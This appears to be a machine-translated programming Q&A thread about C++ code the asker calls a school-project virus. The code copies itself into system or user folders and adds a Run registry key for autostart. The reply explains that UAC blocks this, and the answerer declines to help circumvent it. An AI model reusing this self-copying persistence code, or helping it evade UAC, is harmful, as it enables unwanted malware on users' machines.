2013-10-05 113 views
0

我正在为我的学校项目编写实验性病毒。应该进行自我复制,自行启动.. 我开始用这个article,我来到了这一点:无法写入注册表

#include <windows.h> 
#include <iostream> 
#include <tchar.h> 
#include <stdio.h> 
using namespace std; 

void main() 
{ 
wchar_t system[MAX_PATH]; 
wchar_t user[MAX_PATH]; 
wchar_t pathtofile[MAX_PATH]; 
HMODULE GetModH = GetModuleHandle(NULL); 
DWORD bufSize = MAX_PATH; 

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile)); 
GetSystemDirectory(system, sizeof(system)); 

std::wstring s(system); 
s += std::wstring(L"\\virus.exe"); 
WCHAR* sysfull = &s[0]; 

if(!CopyFile(pathtofile, sysfull, false)) 
{ 
    sysfull = L"C:\\Users\\Public\\virus.exe"; 
    if(!CopyFile(pathtofile, sysfull, false)) 
    { 
     GetUserName(user, &bufSize); 
     std::wstring u(L"C:\\Users\\"); 
     u += std::wstring(user); 
     u += std::wstring(L"\\Documents\\virus.exe"); 
     sysfull = &u[0]; 
     CopyFile(pathtofile, sysfull, false); 
    } 
} 

HKEY hKey; 

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); 
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system)); 
RegCloseKey(hKey); 

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK); 
} 

当我看到在注册表编辑器在HKEY_LOCAL_MACHINE \ SOFTWARE \微软\的Windows \ CurrentVersion \ Run中存在的问题是不是新的关键。 RegOpenKeyEx和RegSetValueEx返回true,并且一切似乎都正常,但事实并非如此,我也不知道为什么。

我在Windows 8上并使用VS12。

+1

首先,'void main'不是合法的C++。其次,更仔细地阅读文档。他们甚至没有布尔型的返回类型,所以我不知道你从哪里得到了真正的答案,但是如果有的话,那就意味着失败。 – chris

回答

1

Windows Vista和更高版本通过名为UAC的机制阻止对某些敏感位置(如HKEY_LOCAL_MACHINE_KEY,C:\Windows等)的写入访问。如果启用了UAC(默认情况下),则管理员级别用户默认具有减少的一组特权,并且程序需要使用称为提升的技术来获得完全的管理员权限。或者,您可以通过右键单击菜单以管理员身份启动程序,为其提供完全访问权限。

无论哪种方式,打开UAC后,用户需要在授予权限之前通过对话框批准高程。

RegOpenKeyEx()这样的注册表功能在成功时返回0,并在失败时返回错误代码 - 不是真/假。如果你正确地检查了返回代码,你会看到它们返回5,即ERROR_ACCESS_DENIED

+0

考虑到这应该是病毒,海拔看起来不是一个解决方案。有没有其他方法可以让节目开始播放? – legionar

+0

即使是用于学校项目,我也不是很乐意帮助您编写病毒。如果你做了一些研究,你可能会找到解决办法 - 我只是解释系统的工作原理。 –